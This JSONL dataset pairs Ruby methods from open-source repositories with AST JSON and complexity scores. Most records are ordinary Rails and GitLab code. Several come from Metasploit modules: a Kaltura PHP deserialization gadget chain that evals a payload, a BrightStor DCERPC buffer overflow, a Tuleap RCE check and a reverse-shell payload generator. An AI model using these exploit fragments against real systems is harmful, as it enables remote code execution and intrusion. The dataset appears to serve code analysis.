{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/connection/base.rb","start_line":138,"raw_source":"def statistics\n        {\n          identifier: connection_identifier,\n          started_at: @started_at,\n          subscriptions: subscriptions.identifiers,\n          request_id: @env[\"action_dispatch.request_id\"]\n        }\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[null,\"connection_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"ivar\",\"children\":[\"@started_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscriptions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\"]},\"identifiers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.request_id\"]}]}]}]}]}","id":"dd2fa77b-d3ec-4592-9068-97d7d9753cc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_item.rb","start_line":350,"raw_source":"def same_type_base_and_ancestors\n    hierarchy(same_type: true).base_and_ancestors(hierarchy_order: :asc)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"same_type_base_and_ancestors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hierarchy\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"same_type\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"base_and_ancestors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_order\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]}","id":"6dff577f-e2e9-4bf8-90df-23ffdd5f3be3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250828192903_add_display_url_to_jira_connect_installations.rb","start_line":7,"raw_source":"def up\n    add_column :jira_connect_installations, :display_url, :text, if_not_exists: true\n    add_text_limit :jira_connect_installations, :display_url, 255\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"jira_connect_installations\"]},{\"type\":\"sym\",\"children\":[\"display_url\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"jira_connect_installations\"]},{\"type\":\"sym\",\"children\":[\"display_url\"]},{\"type\":\"int\",\"children\":[255]}]}]}]}","id":"a69b5bc9-177a-4113-9538-d8441df64d33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/issues/create_service.rb","start_line":8,"raw_source":"def initialize(parent, project, user, params = {})\n        @project = project\n\n        super(parent, user, params)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"e8fd2500-ebca-4f5d-9684-425fffb4e9d2"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/bisect/example_minimizer_spec.rb","start_line":66,"raw_source":"def publish(event, *args)\n          send(event, *args) if respond_to? event\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"publish\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},null]}]}","id":"44973111-ebc4-4c45-87eb-e2caaf543a45"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/ci/helpers/runner.rb","start_line":144,"raw_source":"def job_token\n          @job_token ||= (params[JOB_TOKEN_PARAM] || env[JOB_TOKEN_HEADER]).to_s\n        end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"job_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@job_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"JOB_TOKEN_PARAM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"JOB_TOKEN_HEADER\"]}]}]}]},\"to_s\"]}]}]}","id":"c6d8b1d7-0349-40d5-b93a-e56366a31c7b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/zip.rb","start_line":119,"raw_source":"def do_zip\n    output = cmd_exec(\"zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}\")\n    vprint_line(output)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"do_zip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"zip -D -q -r \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DESTINATION\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SOURCE\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"4785e6f9-1649-4c42-9a65-bc8e032159b0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/broadcast_logger_test.rb","start_line":410,"raw_source":"def info?\n        level <= ::Logger::INFO\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"info?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"level\"]},\"<=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Logger\"]},\"INFO\"]}]}]}","id":"29d1c058-0a7f-428d-8cfc-41b98a329d6c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/bentoml_rce_cve_2025_27520.rb","start_line":91,"raw_source":"def find_api_endpoint\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'docs.json')\n    })\n    return unless res&.code == 200\n\n    paths = res&.get_json_document&.dig('paths')\n    paths&.keys&.detect { |path| paths[path].keys.include?('post') }\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_api_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"docs.json\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"dig\",{\"type\":\"str\",\"children\":[\"paths\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"keys\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"post\"]}]}]}]}]}","id":"f2ca7073-5b0a-4038-8aec-b7dccf8c9d97"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":89,"raw_source":"def respond_to_missing?(name, include_all)\n        store.key?(name) || super\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"include_all\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c1e9dcf4-50da-47d3-9f1c-238086c6c28b"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/attachment.rb","start_line":33,"raw_source":"def io_like?\n      @source.respond_to?(:read) && !path? && !active_storage?\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"io_like?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_storage?\"]},\"!\"]}]}]}","id":"dc99831f-f15d-43f0-a785-b2f93a56ac24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/tuleap_rest_unserialize_exec.rb","start_line":174,"raw_source":"def check\n    @is_check = true\n    flag = rand_text_alpha(rand(10) + 20)\n    res = exec_php(\"print '#{flag}';\")\n\n    if res && res.code == 200 && res.body =~ /#{flag}/\n      return Exploit::CheckCode::Vulnerable\n    elsif res && res.body =~ /Exiting with Error/\n      return Exploit::CheckCode::Unknown\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@is_check\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"flag\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"exec_php\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"print '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"str\",\"children\":[\"';\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Exiting with Error\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]},null]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"a3146acd-dc92-4eed-a53c-5c40968e595f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb","start_line":83,"raw_source":"def generate(_opts = {})\n    p = super\n\n    sh = datastore['SHELL']\n    if sh.length >= 16\n      raise ArgumentError, 'The specified shell must be less than 16 bytes.'\n    end\n\n    p[136, sh.length] = sh\n\n    p\n  end","complexity_score":12.05,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sh\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELL\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sh\"]},\"length\"]},\">=\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The specified shell must be less than 16 bytes.\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]=\",{\"type\":\"int\",\"children\":[136]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sh\"]},\"length\"]},{\"type\":\"lvar\",\"children\":[\"sh\"]}]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}","id":"d49e1917-e740-495b-aa25-5f712744fbca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kaltura_unserialize_rce.rb","start_line":88,"raw_source":"def exploit\n    cmd = \"print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()\"\n\n    p = \"\"\n    p << \"a:1:{s:1:\\\"z\\\";O:8:\\\"Zend_Log\\\":1:{s:11:\\\"\\00*\\00_writers\\\";\"\n    p << \"a:1:{i:0;O:20:\\\"Zend_Log_Writer_Mail\\\":5:{s:16:\\\"\\00*\\00_eventsToMail\\\";\"\n    p << \"a:1:{i:0;i:1;}s:22:\\\"\\00*\\00_layoutEventsToMail\\\";a:0:{}s:8:\\\"\\00*\\00_mail\\\";\"\n    p << \"O:9:\\\"Zend_Mail\\\":0:{}s:10:\\\"\\00*\\00_layout\\\";O:11:\\\"Zend_Layout\\\":3:{s:13:\\\"\\00*\\00_inflector\\\";\"\n    p << \"O:23:\\\"Zend_Filter_PregReplace\\\":2:{s:16:\\\"\\00*\\00_matchPattern\\\";s:7:\\\"/(.*)/e\\\";\"\n    p << \"s:15:\\\"\\00*\\00_replacement\\\";s:#{cmd.length.to_s}:\\\"#{cmd}\\\";}s:20:\\\"\\00*\\00_inflectorEnabled\\\";\"\n    p << \"b:1;s:10:\\\"\\00*\\00_layout\\\";s:6:\\\"layout\\\";}s:22:\\\"\\00*\\00_subjectPrependText\\\";N;}}};}\"\n\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),\n      'vars_get' => {\n        'kdata' => Rex::Text.encode_base64(p)\n      }\n    )\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"print_r(eval(base64_decode('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encode\"]}]}]},{\"type\":\"str\",\"children\":[\"'))).die()\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a:1:{s:1:\\\"z\\\";O:8:\\\"Zend_Log\\\":1:{s:11:\\\"\\u0000*\\u0000_writers\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a:1:{i:0;O:20:\\\"Zend_Log_Writer_Mail\\\":5:{s:16:\\\"\\u0000*\\u0000_eventsToMail\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"a:1:{i:0;i:1;}s:22:\\\"\\u0000*\\u0000_layoutEventsToMail\\\";a:0:{}s:8:\\\"\\u0000*\\u0000_mail\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"O:9:\\\"Zend_Mail\\\":0:{}s:10:\\\"\\u0000*\\u0000_layout\\\";O:11:\\\"Zend_Layout\\\":3:{s:13:\\\"\\u0000*\\u0000_inflector\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"O:23:\\\"Zend_Filter_PregReplace\\\":2:{s:16:\\\"\\u0000*\\u0000_matchPattern\\\";s:7:\\\"/(.*)/e\\\";\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"s:15:\\\"\\u0000*\\u0000_replacement\\\";s:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\":\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\";}s:20:\\\"\\u0000*\\u0000_inflectorEnabled\\\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"<<\",{\"type\":\"str\",\"children\":[\"b:1;s:10:\\\"\\u0000*\\u0000_layout\\\";s:6:\\\"layout\\\";}s:22:\\\"\\u0000*\\u0000_subjectPrependText\\\";N;}}};}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php/keditorservices/redirectWidgetCmd\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"kdata\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}]}]}]}]}","id":"4a4a561c-faff-4837-8493-3379907cd439"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/repository_service.rb","start_line":19,"raw_source":"def exists?\n        request = Gitaly::RepositoryExistsRequest.new(repository: @gitaly_repo)\n\n        response = gitaly_client_call(@storage, :repository_service, :repository_exists, request, timeout: GitalyClient.fast_timeout)\n\n        response.exists\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exists?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"RepositoryExistsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"ivar\",\"children\":[\"@storage\"]},{\"type\":\"sym\",\"children\":[\"repository_service\"]},{\"type\":\"sym\",\"children\":[\"repository_exists\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"fast_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"exists\"]}]}]}","id":"2f994090-33ea-4508-b8c7-5cadc53b014a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/project_features_compatibility.rb","start_line":149,"raw_source":"def write_feature_attribute_raw(field, value)\n    build_project_feature unless project_feature\n\n    project_feature.__send__(:write_attribute, field, value) # rubocop:disable GitlabSecurity/PublicSend\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"write_feature_attribute_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},null,{\"type\":\"send\",\"children\":[null,\"build_project_feature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_feature\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"write_attribute\"]},{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"20acad68-3e52-40d7-a7c2-3e52ec1b30ee"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/work_packages/reminders_controller.rb","start_line":96,"raw_source":"def respond_with_error_modal_component(service_result)\n    replace_via_turbo_stream(\n      component: WorkPackages::Reminder::ModalBodyComponent.new(\n        remindable: @work_package,\n        reminder: service_result.result,\n        errors: service_result.errors,\n        remind_at_date: reminder_params[:remind_at_date],\n        remind_at_time: reminder_params[:remind_at_time]\n      )\n    )\n\n    respond_with_turbo_streams(status: :unprocessable_entity)\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_with_error_modal_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"Reminder\"]},\"ModalBodyComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remindable\"]},{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reminder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_result\"]},\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remind_at_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reminder_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remind_at_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remind_at_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reminder_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"remind_at_time\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"cd160300-7fa0-49fa-9017-cc9182524ff3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/tape_engine_0x8a.rb","start_line":54,"raw_source":"def exploit\n    connect\n\n    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])\n    print_status(\"Binding to #{handle} ...\")\n\n    dcerpc_bind(handle)\n    print_status(\"Bound to #{handle} ...\")\n\n    request = \"\\x00\\x04\\x08\\x0c\\x05\\x00\\x00\\x00\\x00\\x00\"\n    request << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n    dcerpc.call(0x2B, request)\n\n    sploit = NDR.long(4)\n    sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + \"\\x00\")\n\n    print_status(\"Trying target #{target.name}...\")\n\n    begin\n      dcerpc_call(0x8A, sploit)\n    rescue Rex::Proto::DCERPC::Exceptions::NoResponse\n    end\n\n    handler\n    disconnect\n  